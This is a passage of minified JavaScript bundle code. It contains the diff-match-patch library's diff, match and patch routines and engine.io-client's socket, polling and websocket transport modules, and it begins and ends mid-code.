g=!1;for(u=1;u<s.length-1;)0==s[u-1][0]&&0==s[u+1][0]&&(s[u][1].substring(s[u][1].length-s[u-1][1].length)==s[u-1][1]?(s[u][1]=s[u-1][1]+s[u][1].substring(0,s[u][1].length-s[u-1][1].length),s[u+1][1]=s[u-1][1]+s[u+1][1],s.splice(u-1,1),g=!0):s[u][1].substring(0,s[u+1][1].length)==s[u+1][1]&&(s[u-1][1]+=s[u+1][1],s[u][1]=s[u][1].substring(s[u+1][1].length)+s[u+1][1],s.splice(u+1,1),g=!0)),u++;g&&this.diff_cleanupMerge(s)},ae.prototype.diff_xIndex=function(s,u){var S,c=0,f=0,E=0,_=0;for(S=0;S<s.length&&(1!==s[S][0]&&(c+=s[S][1].length),s[S][0]!==d&&(f+=s[S][1].length),!(c>u));S++)E=c,_=f;return s.length!=S&&s[S][0]===d?_:_+(u-E)},ae.prototype.diff_prettyHtml=function(s){for(var u=[],c=/&/g,f=/</g,E=/>/g,_=/\\n/g,S=0;S<s.length;S++){var g=s[S][0],z=s[S][1].replace(c,"&").replace(f,"<").replace(E,">").replace(_,"¶<br>");switch(g){case 1:u[S]=\'<ins style="background:#e6ffe6;">\'+z+"</ins>";break;case d:u[S]=\'<del style="background:#ffe6e6;">\'+z+"</del>";break;case 0:u[S]="<span>"+z+"</span>"}}return u.join("")},ae.prototype.diff_text1=function(s){for(var u=[],c=0;c<s.length;c++)1!==s[c][0]&&(u[c]=s[c][1]);return u.join("")},ae.prototype.diff_text2=function(s){for(var u=[],c=0;c<s.length;c++)s[c][0]!==d&&(u[c]=s[c][1]);return u.join("")},ae.prototype.diff_levenshtein=function(s){for(var u=0,c=0,f=0,E=0;E<s.length;E++){var S=s[E][1];switch(s[E][0]){case 1:c+=S.length;break;case d:f+=S.length;break;case 0:u+=Math.max(c,f),c=0,f=0}}return u+Math.max(c,f)},ae.prototype.diff_toDelta=function(s){for(var u=[],c=0;c<s.length;c++)switch(s[c][0]){case 1:u[c]="+"+encodeURI(s[c][1]);break;case d:u[c]="-"+s[c][1].length;break;case 0:u[c]="="+s[c][1].length}return u.join("\\t").replace(/%20/g," ")},ae.prototype.diff_fromDelta=function(s,u){for(var c=[],f=0,E=0,_=u.split(/\\t/g),S=0;S<_.length;S++){var g=_[S].substring(1);switch(_[S].charAt(0)){case"+":try{c[f++]=new ae.Diff(1,decodeURI(g))}catch{throw new Error("Illegal escape in diff_fromDelta: "+g)}break;case"-":case"=":var C=parseInt(g,10);if(isNaN(C)||C<0)throw new Error("Invalid number in diff_fromDelta: "+g);var z=s.substring(E,E+=C);"="==_[S].charAt(0)?c[f++]=new ae.Diff(0,z):c[f++]=new ae.Diff(d,z);break;default:if(_[S])throw new Error("Invalid diff operation in diff_fromDelta: "+_[S])}}if(E!=s.length)throw new Error("Delta length ("+E+") does not equal source text length ("+s.length+").");return c},ae.prototype.match_main=function(s,u,c){if(null==s||null==u||null==c)throw new Error("Null input. (match_main)");return c=Math.max(0,Math.min(c,s.length)),s==u?0:s.length?s.substring(c,c+u.length)==u?c:this.match_bitap_(s,u,c):-1},ae.prototype.match_bitap_=function(s,u,c){if(u.length>this.Match_MaxBits)throw new Error("Pattern too long for this browser.");var f=this.match_alphabet_(u),E=this;function _(ee,q){var we=ee/u.length,ce=Math.abs(c-q);return E.Match_Distance?we+ce/E.Match_Distance:ce?1:we}var S=this.Match_Threshold,g=s.indexOf(u,c);-1!=g&&(S=Math.min(_(0,g),S),-1!=(g=s.lastIndexOf(u,c+u.length))&&(S=Math.min(_(0,g),S)));var C=1<<u.length-1;g=-1;for(var z,H,U,j=u.length+s.length,G=0;G<u.length;G++){for(z=0,H=j;z<H;)_(G,c+H)<=S?z=H:j=H,H=Math.floor((j-z)/2+z);j=H;var Q=Math.max(1,c-H+1),oe=Math.min(c+H,s.length)+u.length,Ce=Array(oe+2);Ce[oe+1]=(1<<G)-1;for(var k=oe;k>=Q;k--){var K=f[s.charAt(k-1)];if(Ce[k]=0===G?(Ce[k+1]<<1|1)&K:(Ce[k+1]<<1|1)&K|(U[k+1]|U[k])<<1|1|U[k+1],Ce[k]&C){var se=_(G,k-1);if(se<=S){if(S=se,!((g=k-1)>c))break;Q=Math.max(1,2*c-g)}}}if(_(G+1,c)>S)break;U=Ce}return g},ae.prototype.match_alphabet_=function(s){for(var u={},c=0;c<s.length;c++)u[s.charAt(c)]=0;for(c=0;c<s.length;c++)u[s.charAt(c)]|=1<<s.length-c-1;return u},ae.prototype.patch_addContext_=function(s,u){if(0!=u.length){if(null===s.start2)throw Error("patch not initialized");for(var c=u.substring(s.start2,s.start2+s.length1),f=0;u.indexOf(c)!=u.lastIndexOf(c)&&c.length<this.Match_MaxBits-this.Patch_Margin-this.Patch_Margin;)c=u.substring(s.start2-(f+=this.Patch_Margin),s.start2+s.length1+f);var E=u.substring(s.start2-(f+=this.Patch_Margin),s.start2);E&&s.diffs.unshift(new ae.Diff(0,E));var _=u.substring(s.start2+s.length1,s.start2+s.length1+f);_&&s.diffs.push(new ae.Diff(0,_)),s.start1-=E.length,s.start2-=E.length,s.length1+=E.length+_.length,s.length2+=E.length+_.length}},ae.prototype.patch_make=function(s,u,c){var f,E;if("string"==typeof s&&"string"==typeof u&&typeof c>"u")(E=this.diff_main(f=s,u,!0)).length>2&&(this.diff_cleanupSemantic(E),this.diff_cleanupEfficiency(E));else if(s&&"object"==typeof s&&typeof u>"u"&&typeof c>"u")f=this.diff_text1(E=s);else if("string"==typeof s&&u&&"object"==typeof u&&typeof c>"u")f=s,E=u;else{if("string"!=typeof s||"string"!=typeof u||!c||"object"!=typeof c)throw new Error("Unknown call format to patch_make.");f=s,E=c}if(0===E.length)return[];for(var _=[],S=new ae.patch_obj,g=0,C=0,z=0,H=f,j=f,U=0;U<E.length;U++){var G=E[U][0],Q=E[U][1];switch(!g&&0!==G&&(S.start1=C,S.start2=z),G){case 1:S.diffs[g++]=E[U],S.length2+=Q.length,j=j.substring(0,z)+Q+j.substring(z);break;case d:S.length1+=Q.length,S.diffs[g++]=E[U],j=j.substring(0,z)+j.substring(z+Q.length);break;case 0:Q.length<=2*this.Patch_Margin&&g&&E.length!=U+1?(S.diffs[g++]=E[U],S.length1+=Q.length,S.length2+=Q.length):Q.length>=2*this.Patch_Margin&&g&&(this.patch_addContext_(S,H),_.push(S),S=new ae.patch_obj,g=0,H=j,C=z)}1!==G&&(C+=Q.length),G!==d&&(z+=Q.length)}return g&&(this.patch_addContext_(S,H),_.push(S)),_},ae.prototype.patch_deepCopy=function(s){for(var u=[],c=0;c<s.length;c++){var f=s[c],E=new ae.patch_obj;E.diffs=[];for(var _=0;_<f.diffs.length;_++)E.diffs[_]=new ae.Diff(f.diffs[_][0],f.diffs[_][1]);E.start1=f.start1,E.start2=f.start2,E.length1=f.length1,E.length2=f.length2,u[c]=E}return u},ae.prototype.patch_apply=function(s,u){if(0==s.length)return[u,[]];s=this.patch_deepCopy(s);var c=this.patch_addPadding(s);u=c+u+c,this.patch_splitMax(s);for(var f=0,E=[],_=0;_<s.length;_++){var C,H,S=s[_].start2+f,g=this.diff_text1(s[_].diffs),z=-1;if(g.length>this.Match_MaxBits?-1!=(C=this.match_main(u,g.substring(0,this.Match_MaxBits),S))&&(-1==(z=this.match_main(u,g.substring(g.length-this.Match_MaxBits),S+g.length-this.Match_MaxBits))||C>=z)&&(C=-1):C=this.match_main(u,g,S),-1==C)E[_]=!1,f-=s[_].length2-s[_].length1;else if(E[_]=!0,f=C-S,g==(H=u.substring(C,-1==z?C+g.length:z+this.Match_MaxBits)))u=u.substring(0,C)+this.diff_text2(s[_].diffs)+u.substring(C+g.length);else{var j=this.diff_main(g,H,!1);if(g.length>this.Match_MaxBits&&this.diff_levenshtein(j)/g.length>this.Patch_DeleteThreshold)E[_]=!1;else{this.diff_cleanupSemanticLossless(j);for(var G,U=0,Q=0;Q<s[_].diffs.length;Q++){var oe=s[_].diffs[Q];0!==oe[0]&&(G=this.diff_xIndex(j,U)),1===oe[0]?u=u.substring(0,C+G)+oe[1]+u.substring(C+G):oe[0]===d&&(u=u.substring(0,C+G)+u.substring(C+this.diff_xIndex(j,U+oe[1].length))),oe[0]!==d&&(U+=oe[1].length)}}}}return[u=u.substring(c.length,u.length-c.length),E]},ae.prototype.patch_addPadding=function(s){for(var u=this.Patch_Margin,c="",f=1;f<=u;f++)c+=String.fromCharCode(f);for(f=0;f<s.length;f++)s[f].start1+=u,s[f].start2+=u;var E=s[0],_=E.diffs;if(0==_.length||0!=_[0][0])_.unshift(new ae.Diff(0,c)),E.start1-=u,E.start2-=u,E.length1+=u,E.length2+=u;else if(u>_[0][1].length){var S=u-_[0][1].length;_[0][1]=c.substring(_[0][1].length)+_[0][1],E.start1-=S,E.start2-=S,E.length1+=S,E.length2+=S}return 0==(_=(E=s[s.length-1]).diffs).length||0!=_[_.length-1][0]?(_.push(new ae.Diff(0,c)),E.length1+=u,E.length2+=u):u>_[_.length-1][1].length&&(_[_.length-1][1]+=c.substring(0,S=u-_[_.length-1][1].length),E.length1+=S,E.length2+=S),c},ae.prototype.patch_splitMax=function(s){for(var u=this.Match_MaxBits,c=0;c<s.length;c++)if(!(s[c].length1<=u)){var f=s[c];s.splice(c--,1);for(var E=f.start1,_=f.start2,S="";0!==f.diffs.length;){var g=new ae.patch_obj,C=!0;for(g.start1=E-S.length,g.start2=_-S.length,""!==S&&(g.length1=g.length2=S.length,g.diffs.push(new ae.Diff(0,S)));0!==f.diffs.length&&g.length1<u-this.Patch_Margin;){var z=f.diffs[0][0],H=f.diffs[0][1];1===z?(g.length2+=H.length,_+=H.length,g.diffs.push(f.diffs.shift()),C=!1):z===d&&1==g.diffs.length&&0==g.diffs[0][0]&&H.length>2*u?(g.length1+=H.length,E+=H.length,C=!1,g.diffs.push(new ae.Diff(z,H)),f.diffs.shift()):(H=H.substring(0,u-g.length1-this.Patch_Margin),g.length1+=H.length,E+=H.length,0===z?(g.length2+=H.length,_+=H.length):C=!1,g.diffs.push(new ae.Diff(z,H)),H==f.diffs[0][1]?f.diffs.shift():f.diffs[0][1]=f.diffs[0][1].substring(H.length))}S=(S=this.diff_text2(g.diffs)).substring(S.length-this.Patch_Margin);var j=this.diff_text1(f.diffs).substring(0,this.Patch_Margin);""!==j&&(g.length1+=j.length,g.length2+=j.length,0!==g.diffs.length&&0===g.diffs[g.diffs.length-1][0]?g.diffs[g.diffs.length-1][1]+=j:g.diffs.push(new ae.Diff(0,j))),C||s.splice(++c,0,g)}}},ae.prototype.patch_toText=function(s){for(var u=[],c=0;c<s.length;c++)u[c]=s[c];return u.join("")},ae.prototype.patch_fromText=function(s){var u=[];if(!s)return u;for(var c=s.split("\\n"),f=0,E=/^@@ -(\\d+),?(\\d*) \\+(\\d+),?(\\d*) @@$/;f<c.length;){var _=c[f].match(E);if(!_)throw new Error("Invalid patch string: "+c[f]);var S=new ae.patch_obj;for(u.push(S),S.start1=parseInt(_[1],10),""===_[2]?(S.start1--,S.length1=1):"0"==_[2]?S.length1=0:(S.start1--,S.length1=parseInt(_[2],10)),S.start2=parseInt(_[3],10),""===_[4]?(S.start2--,S.length2=1):"0"==_[4]?S.length2=0:(S.start2--,S.length2=parseInt(_[4],10)),f++;f<c.length;){var g=c[f].charAt(0);try{var C=decodeURI(c[f].substring(1))}catch{throw new Error("Illegal escape in patch_fromText: "+C)}if("-"==g)S.diffs.push(new ae.Diff(d,C));else if("+"==g)S.diffs.push(new ae.Diff(1,C));else if(" "==g)S.diffs.push(new ae.Diff(0,C));else{if("@"==g)break;if(""!==g)throw new Error(\'Invalid patch mode "\'+g+\'" in: \'+C)}f++}}return u},ae.patch_obj=function(){this.diffs=[],this.start1=null,this.start2=null,this.length1=0,this.length2=0},ae.patch_obj.prototype.toString=function(){for(var f,c=["@@ -"+(0===this.length1?this.start1+",0":1==this.length1?this.start1+1:this.start1+1+","+this.length1)+" +"+(0===this.length2?this.start2+",0":1==this.length2?this.start2+1:this.start2+1+","+this.length2)+" @@\\n"],E=0;E<this.diffs.length;E++){switch(this.diffs[E][0]){case 1:f="+";break;case d:f="-";break;case 0:f=" "}c[E+1]=f+encodeURI(this.diffs[E][1])+"\\n"}return c.join("").replace(/%20/g," ")},At.exports=ae,At.exports.diff_match_patch=ae,At.exports.DIFF_DELETE=d,At.exports.DIFF_INSERT=1,At.exports.DIFF_EQUAL=0},851:At=>{At.exports=typeof self<"u"?self:typeof window<"u"?window:Function("return this")()},7410:(At,ae,d)=>{const n=d(3213);At.exports=(a,s)=>new n(a,s),At.exports.Socket=n,At.exports.protocol=n.protocol,At.exports.Transport=d(3330),At.exports.transports=d(1497),At.exports.parser=d(1510)},3213:(At,ae,d)=>{const n=d(1497),a=d(1264),s=d(1455)("engine.io-client:socket"),u=d(1510),c=d(1884),f=d(3257);class E extends a{constructor(g,C={}){super(),g&&"object"==typeof g&&(C=g,g=null),g?(g=c(g),C.hostname=g.host,C.secure="https"===g.protocol||"wss"===g.protocol,C.port=g.port,g.query&&(C.query=g.query)):C.host&&(C.hostname=c(C.host).host),this.secure=null!=C.secure?C.secure:typeof location<"u"&&"https:"===location.protocol,C.hostname&&!C.port&&(C.port=this.secure?"443":"80"),this.hostname=C.hostname||(typeof location<"u"?location.hostname:"localhost"),this.port=C.port||(typeof location<"u"&&location.port?location.port:this.secure?443:80),this.transports=C.transports||["polling","websocket"],this.readyState="",this.writeBuffer=[],this.prevBufferLen=0,this.opts=Object.assign({path:"/engine.io",agent:!1,withCredentials:!1,upgrade:!0,jsonp:!0,timestampParam:"t",rememberUpgrade:!1,rejectUnauthorized:!0,perMessageDeflate:{threshold:1024},transportOptions:{}},C),this.opts.path=this.opts.path.replace(/\\/$/,"")+"/","string"==typeof this.opts.query&&(this.opts.query=f.decode(this.opts.query)),this.id=null,this.upgrades=null,this.pingInterval=null,this.pingTimeout=null,this.pingTimeoutTimer=null,"function"==typeof addEventListener&&addEventListener("beforeunload",()=>{this.transport&&(this.transport.removeAllListeners(),this.transport.close())},!1),this.open()}createTransport(g){s(\'creating transport "%s"\',g);const C=function _(S){const g={};for(let C in S)S.hasOwnProperty(C)&&(g[C]=S[C]);return g}(this.opts.query);C.EIO=u.protocol,C.transport=g,this.id&&(C.sid=this.id);const z=Object.assign({},this.opts.transportOptions[g],this.opts,{query:C,socket:this,hostname:this.hostname,secure:this.secure,port:this.port});return s("options: %j",z),new n[g](z)}open(){let g;if(this.opts.rememberUpgrade&&E.priorWebsocketSuccess&&-1!==this.transports.indexOf("websocket"))g="websocket";else{if(0===this.transports.length){const C=this;return void setTimeout(function(){C.emit("error","No transports available")},0)}g=this.transports[0]}this.readyState="opening";try{g=this.createTransport(g)}catch(C){return s("error while creating transport: %s",C),this.transports.shift(),void this.open()}g.open(),this.setTransport(g)}setTransport(g){s("setting transport %s",g.name);const C=this;this.transport&&(s("clearing existing transport %s",this.transport.name),this.transport.removeAllListeners()),this.transport=g,g.on("drain",function(){C.onDrain()}).on("packet",function(z){C.onPacket(z)}).on("error",function(z){C.onError(z)}).on("close",function(){C.onClose("transport close")})}probe(g){s(\'probing transport "%s"\',g);let C=this.createTransport(g,{probe:1}),z=!1;const H=this;function j(){H.onlyBinaryUpgrades&&(z=z||!this.supportsBinary&&H.transport.supportsBinary),z||(s(\'probe transport "%s" opened\',g),C.send([{type:"ping",data:"probe"}]),C.once("packet",function(K){if(!z)if("pong"===K.type&&"probe"===K.data){if(s(\'probe transport "%s" pong\',g),H.upgrading=!0,H.emit("upgrading",C),!C)return;E.priorWebsocketSuccess="websocket"===C.name,s(\'pausing current transport "%s"\',H.transport.name),H.transport.pause(function(){z||"closed"!==H.readyState&&(s("changing transport and sending upgrade packet"),k(),H.setTransport(C),C.send([{type:"upgrade"}]),H.emit("upgrade",C),C=null,H.upgrading=!1,H.flush())})}else{s(\'probe transport "%s" failed\',g);const se=new Error("probe error");se.transport=C.name,H.emit("upgradeError",se)}}))}function U(){z||(z=!0,k(),C.close(),C=null)}function G(K){const se=new Error("probe error: "+K);se.transport=C.name,U(),s(\'probe transport "%s" failed because of error: %s\',g,K),H.emit("upgradeError",se)}function Q(){G("transport closed")}function oe(){G("socket closed")}function Ce(K){C&&K.name!==C.name&&(s(\'"%s" works - aborting "%s"\',K.name,C.name),U())}function k(){C.removeListener("open",j),C.removeListener("error",G),C.removeListener("close",Q),H.removeListener("close",oe),H.removeListener("upgrading",Ce)}E.priorWebsocketSuccess=!1,C.once("open",j),C.once("error",G),C.once("close",Q),this.once("close",oe),this.once("upgrading",Ce),C.open()}onOpen(){if(s("socket open"),this.readyState="open",E.priorWebsocketSuccess="websocket"===this.transport.name,this.emit("open"),this.flush(),"open"===this.readyState&&this.opts.upgrade&&this.transport.pause){s("starting upgrade probes");let g=0;const C=this.upgrades.length;for(;g<C;g++)this.probe(this.upgrades[g])}}onPacket(g){if("opening"===this.readyState||"open"===this.readyState||"closing"===this.readyState)switch(s(\'socket receive: type "%s", data "%s"\',g.type,g.data),this.emit("packet",g),this.emit("heartbeat"),g.type){case"open":this.onHandshake(JSON.parse(g.data));break;case"ping":this.resetPingTimeout(),this.sendPacket("pong"),this.emit("pong");break;case"error":const C=new Error("server error");C.code=g.data,this.onError(C);break;case"message":this.emit("data",g.data),this.emit("message",g.data)}else s(\'packet received with socket readyState "%s"\',this.readyState)}onHandshake(g){this.emit("handshake",g),this.id=g.sid,this.transport.query.sid=g.sid,this.upgrades=this.filterUpgrades(g.upgrades),this.pingInterval=g.pingInterval,this.pingTimeout=g.pingTimeout,this.onOpen(),"closed"!==this.readyState&&this.resetPingTimeout()}resetPingTimeout(){clearTimeout(this.pingTimeoutTimer),this.pingTimeoutTimer=setTimeout(()=>{this.onClose("ping timeout")},this.pingInterval+this.pingTimeout)}onDrain(){this.writeBuffer.splice(0,this.prevBufferLen),this.prevBufferLen=0,0===this.writeBuffer.length?this.emit("drain"):this.flush()}flush(){"closed"!==this.readyState&&this.transport.writable&&!this.upgrading&&this.writeBuffer.length&&(s("flushing %d packets in socket",this.writeBuffer.length),this.transport.send(this.writeBuffer),this.prevBufferLen=this.writeBuffer.length,this.emit("flush"))}write(g,C,z){return this.sendPacket("message",g,C,z),this}send(g,C,z){return this.sendPacket("message",g,C,z),this}sendPacket(g,C,z,H){if("function"==typeof C&&(H=C,C=void 0),"function"==typeof z&&(H=z,z=null),"closing"===this.readyState||"closed"===this.readyState)return;(z=z||{}).compress=!1!==z.compress;const j={type:g,data:C,options:z};this.emit("packetCreate",j),this.writeBuffer.push(j),H&&this.once("flush",H),this.flush()}close(){const g=this;function C(){g.onClose("forced close"),s("socket closing - telling transport to close"),g.transport.close()}function z(){g.removeListener("upgrade",z),g.removeListener("upgradeError",z),C()}function H(){g.once("upgrade",z),g.once("upgradeError",z)}return("opening"===this.readyState||"open"===this.readyState)&&(this.readyState="closing",this.writeBuffer.length?this.once("drain",function(){this.upgrading?H():C()}):this.upgrading?H():C()),this}onError(g){s("socket error %j",g),E.priorWebsocketSuccess=!1,this.emit("error",g),this.onClose("transport error",g)}onClose(g,C){if("opening"===this.readyState||"open"===this.readyState||"closing"===this.readyState){s(\'socket close with reason: "%s"\',g);const z=this;clearTimeout(this.pingIntervalTimer),clearTimeout(this.pingTimeoutTimer),this.transport.removeAllListeners("close"),this.transport.close(),this.transport.removeAllListeners(),this.readyState="closed",this.id=null,this.emit("close",g,C),z.writeBuffer=[],z.prevBufferLen=0}}filterUpgrades(g){const C=[];let z=0;const H=g.length;for(;z<H;z++)~this.transports.indexOf(g[z])&&C.push(g[z]);return C}}E.priorWebsocketSuccess=!1,E.protocol=u.protocol,At.exports=E},3330:(At,ae,d)=>{const n=d(1510),a=d(1264),s=d(1455)("engine.io-client:transport");At.exports=class u extends a{constructor(f){super(),this.opts=f,this.query=f.query,this.readyState="",this.socket=f.socket}onError(f,E){const _=new Error(f);return _.type="TransportError",_.description=E,this.emit("error",_),this}open(){return("closed"===this.readyState||""===this.readyState)&&(this.readyState="opening",this.doOpen()),this}close(){return("opening"===this.readyState||"open"===this.readyState)&&(this.doClose(),this.onClose()),this}send(f){"open"===this.readyState?this.write(f):s("transport is not open, discarding packets")}onOpen(){this.readyState="open",this.writable=!0,this.emit("open")}onData(f){const E=n.decodePacket(f,this.socket.binaryType);this.onPacket(E)}onPacket(f){this.emit("packet",f)}onClose(){this.readyState="closed",this.emit("close")}}},1497:(At,ae,d)=>{const n=d(3035),a=d(2889),s=d(6029),u=d(3909);ae.polling=function c(f){let E,_=!1,S=!1;const g=!1!==f.jsonp;if(typeof location<"u"){const C="https:"===location.protocol;let z=location.port;z||(z=C?443:80),_=f.hostname!==location.hostname||z!==f.port,S=f.secure!==C}if(f.xdomain=_,f.xscheme=S,E=new n(f),"open"in E&&!f.forceJSONP)return new a(f);if(!g)throw new Error("JSONP disabled");return new s(f)},ae.websocket=u},6029:(At,ae,d)=>{const n=d(3904),a=d(851),s=/\\n/g,u=/\\\\n/g;let c;At.exports=class f extends n{constructor(_){super(_),this.query=this.query||{},c||(c=a.___eio=a.___eio||[]),this.index=c.length;const S=this;c.push(function(g){S.onData(g)}),this.query.j=this.index}get supportsBinary(){return!1}doClose(){this.script&&(this.script.onerror=()=>{},this.script.parentNode.removeChild(this.script),this.script=null),this.form&&(this.form.parentNode.removeChild(this.form),this.form=null,this.iframe=null),super.doClose()}doPoll(){const _=this,S=document.createElement("script");this.script&&(this.script.parentNode.removeChild(this.script),this.script=null),S.async=!0,S.src=this.uri(),S.onerror=function(z){_.onError("jsonp poll error",z)};const g=document.getElementsByTagName("script")[0];g?g.parentNode.insertBefore(S,g):(document.head||document.body).appendChild(S),this.script=S,typeof navigator<"u"&&/gecko/i.test(navigator.userAgent)&&setTimeout(function(){const z=document.createElement("iframe");document.body.appendChild(z),document.body.removeChild(z)},100)}doWrite(_,S){const g=this;let C;if(!this.form){const j=document.createElement("form"),U=document.createElement("textarea"),G=this.iframeId="eio_iframe_"+this.index;j.className="socketio",j.style.position="absolute",j.style.top="-1000px",j.style.left="-1000px",j.target=G,j.method="POST",j.setAttribute("accept-charset","utf-8"),U.name="d",j.appendChild(U),document.body.appendChild(j),this.form=j,this.area=U}function z(){H(),S()}function H(){if(g.iframe)try{g.form.removeChild(g.iframe)}catch(j){g.onError("jsonp polling iframe removal error",j)}try{C=document.createElement(\'<iframe src="javascript:0" name="\'+g.iframeId+\'">\')}catch{C=document.createElement("iframe"),C.name=g.iframeId,C.src="javascript:0"}C.id=g.iframeId,g.form.appendChild(C),g.iframe=C}this.form.action=this.uri(),H(),_=_.replace(u,"\\\\\\n"),this.area.value=_.replace(s,"\\\\n");try{this.form.submit()}catch{}this.iframe.attachEvent?this.iframe.onreadystatechange=function(){"complete"===g.iframe.readyState&&z()}:this.iframe.onload=z}}},2889:(At,ae,d)=>{const n=d(3035),a=d(3904),s=d(1264),{pick:u}=d(5028),c=d(851),f=d(1455)("engine.io-client:polling-xhr");function E(){}const _=null!=new n({xdomain:!1}).responseType;let g=(()=>{class z extends s{constructor(j,U){super(),this.opts=U,this.method=U.method||"GET",this.uri=j,this.async=!1!==U.async,this.data=void 0!==U.data?U.data:null,this.create()}create(){const j=u(this.opts,"agent","enablesXDR","pfx","key","passphrase","cert","ca","ciphers","rejectUnauthorized");j.xdomain=!!this.opts.xd,j.xscheme=!!this.opts.xs;const U=this.xhr=new n(j),G=this;try{f("xhr open %s: %s",this.method,this.uri),U.open(this.method,this.uri,this.async);try{if(this.opts.extraHeaders){U.setDisableHeaderCheck&&U.setDisableHeaderCheck(!0);for(let Q in this.opts.extraHeaders)this.opts.extraHeaders.hasOwnProperty(Q)&&U.setRequestHeader(Q,this.opts.extraHeaders[Q])}}catch{}if("POST"===this.method)try{U.setRequestHeader("Content-type","text/plain;charset=UTF-8")}catch{}try{U.setRequestHeader("Accept","*/*")}catch{}"withCredentials"in U&&(U.withCredentials=this.opts.withCredentials),this.opts.requestTimeout&&(U.timeout=this.opts.requestTimeout),this.hasXDR()?(U.onload=function(){G.onLoad()},U.onerror=function(){G.onError(U.responseText)}):U.onreadystatechange=function(){4===U.readyState&&(200===U.status||1223===U.status?G.onLoad():setTimeout(function(){G.onError("number"==typeof U.status?U.status:0)},0))},f("xhr data %s",this.data),U.send(this.data)}catch(Q){return void setTimeout(function(){G.onError(Q)},0)}typeof document<"u"&&(this.index=z.requestsCount++,z.requests[this.index]=this)}onSuccess(){this.emit("success"),this.cleanup()}onData(j){this.emit("data",j),this.onSuccess()}onError(j){this.emit("error",j),this.cleanup(!0)}cleanup(j){if(!(typeof this.xhr>"u"||null===this.xhr)){if(this.hasXDR()?this.xhr.onload=this.xhr.onerror=E:this.xhr.onreadystatechange=E,j)try{this.xhr.abort()}catch{}typeof document<"u"&&delete z.requests[this.index],this.xhr=null}}onLoad(){const j=this.xhr.responseText;null!==j&&this.onData(j)}hasXDR(){return typeof XDomainRequest<"u"&&!this.xs&&this.enablesXDR}abort(){this.cleanup()}}return z.requestsCount=0,z.requests={},z})();function C(){for(let z in g.requests)g.requests.hasOwnProperty(z)&&g.requests[z].abort()}typeof document<"u"&&("function"==typeof attachEvent?attachEvent("onunload",C):"function"==typeof addEventListener&&addEventListener("onpagehide"in c?"pagehide":"unload",C,!1)),At.exports=class S extends a{constructor(H){if(super(H),typeof location<"u"){const U="https:"===location.protocol;let G=location.port;G||(G=U?443:80),this.xd=typeof location<"u"&&H.hostname!==location.hostname||G!==H.port,this.xs=H.secure!==U}this.supportsBinary=_&&!(H&&H.forceBase64)}request(H={}){return Object.assign(H,{xd:this.xd,xs:this.xs},this.opts),new g(this.uri(),H)}doWrite(H,j){const U=this.request({method:"POST",data:H}),G=this;U.on("success",j),U.on("error",function(Q){G.onError("xhr post error",Q)})}doPoll(){f("xhr poll");const H=this.request(),j=this;H.on("data",function(U){j.onData(U)}),H.on("error",function(U){j.onError("xhr poll error",U)}),this.pollXhr=H}},At.exports.Request=g},3904:(At,ae,d)=>{const n=d(3330),a=d(3257),s=d(1510),u=d(1067),c=d(1455)("engine.io-client:polling");At.exports=class f extends n{get name(){return"polling"}doOpen(){this.poll()}pause(_){const S=this;function g(){c("paused"),S.readyState="paused",_()}if(this.readyState="pausing",this.polling||!this.writable){let C=0;this.polling&&(c("we are currently polling - waiting to pause"),C++,this.once("pollComplete",function(){c("pre-pause polling complete"),--C||g()})),this.writable||(c("we are currently writing - waiting to pause"),C++,this.once("drain",function(){c("pre-pause writing complete"),--C||g()}))}else g()}poll(){c("polling"),this.polling=!0,this.doPoll(),this.emit("poll")}onData(_){const S=this;c("polling got data %s",_),s.decodePayload(_,this.socket.binaryType).forEach(function(C,z,H){if("opening"===S.readyState&&"open"===C.type&&S.onOpen(),"close"===C.type)return S.onClose(),!1;S.onPacket(C)}),"closed"!==this.readyState&&(this.polling=!1,this.emit("pollComplete"),"open"===this.readyState?this.poll():c(\'ignoring poll - transport state "%s"\',this.readyState))}doClose(){const _=this;function S(){c("writing close packet"),_.write([{type:"close"}])}"open"===this.readyState?(c("transport open - closing"),S()):(c("transport not open - deferring close"),this.once("open",S))}write(_){this.writable=!1,s.encodePayload(_,S=>{this.doWrite(S,()=>{this.writable=!0,this.emit("drain")})})}uri(){let _=this.query||{};const S=this.opts.secure?"https":"http";let g="";return!1!==this.opts.timestampRequests&&(_[this.opts.timestampParam]=u()),!this.supportsBinary&&!_.sid&&(_.b64=1),_=a.encode(_),this.opts.port&&("https"===S&&443!==Number(this.opts.port)||"http"===S&&80!==Number(this.opts.port))&&(g=":"+this.opts.port),_.length&&(_="?"+_),S+"://"+(-1!==this.opts.hostname.indexOf(":")?"["+this.opts.hostname+"]":this.opts.hostname)+g+this.opts.path+_}}},7967:(At,ae,d)=>{const n=d(851);At.exports={WebSocket:n.WebSocket||n.MozWebSocket,usingBrowserWebSocket:!0,defaultBinaryType:"arraybuffer"}},3909:(At,ae,d)=>{const n=d(3330),a=d(1510),s=d(3257),u=d(1067),{pick:c}=d(5028),{WebSocket:f,usingBrowserWebSocket:E,defaultBinaryType:_}=d(7967),S=d(1455)("engine.io-client:websocket"),g=typeof navigator<"u"&&"string"==typeof navigator.product&&"reactnative"===navigator.product.toLowerCase();class C extends n{constructor(H){super(H),this.supportsBinary=!H.forceBase64}get name(){return"websocket"}doOpen(){if(!this.check())return;const H=this.uri(),j=this.opts.protocols,U=g?{}:c(this.opts,"agent","perMessageDeflate","pfx","key","passphrase","cert","ca","ciphers","rejectUnauthorized","localAddress","protocolVersion","origin","maxPayload","family","checkServerIdentity");this.opts.extraHeaders&&(U.headers=this.opts.extraHeaders);try{this.ws=E&&!g?j?new f(H,j):new f(H):new f(H,j,U)}catch(G){return this.emit("error",G)}this.ws.binaryType=this.socket.binaryType||_,this.addEventListeners()}addEventListeners(){const H=this;this.ws.onopen=function(){H.onOpen()},this.ws.onclose=function(){H.onClose()},this.ws.onmessage=function(j){H.onData(j.data)},this.ws.onerror=function(j){H.onError("websocket error",j)}}write(H){const j=this;this.writable=!1;let U=H.length,G=0;const Q=U;for(;G<Q;G++)!function(Ce){a.encodePacket(Ce,j.supportsBinary,function(k){const K={};E||(Ce.options&&(K.compress=Ce.options.compress),j.opts.perMessageDeflate&&("string"==typeof k?Buffer.byteLength(k):k.length)<j.opts.perMessageDeflate.threshold&&(K.compress=!1));try{E?j.ws.send(k):j.ws.send(k,K)}catch{S("websocket closed before onclose event")}--U||(j.emit("flush"),setTimeout(function(){j.writable=!0,j.emit("drain")},0))})}(H[G])}onClose(){n.prototype.onClose.call(this)}doClose(){typeof this.ws<"u"&&(this.ws.close(),this.ws=null)}uri(){let H=this.query||{};const j=this.opts.secure?"wss":"ws";let U="";return 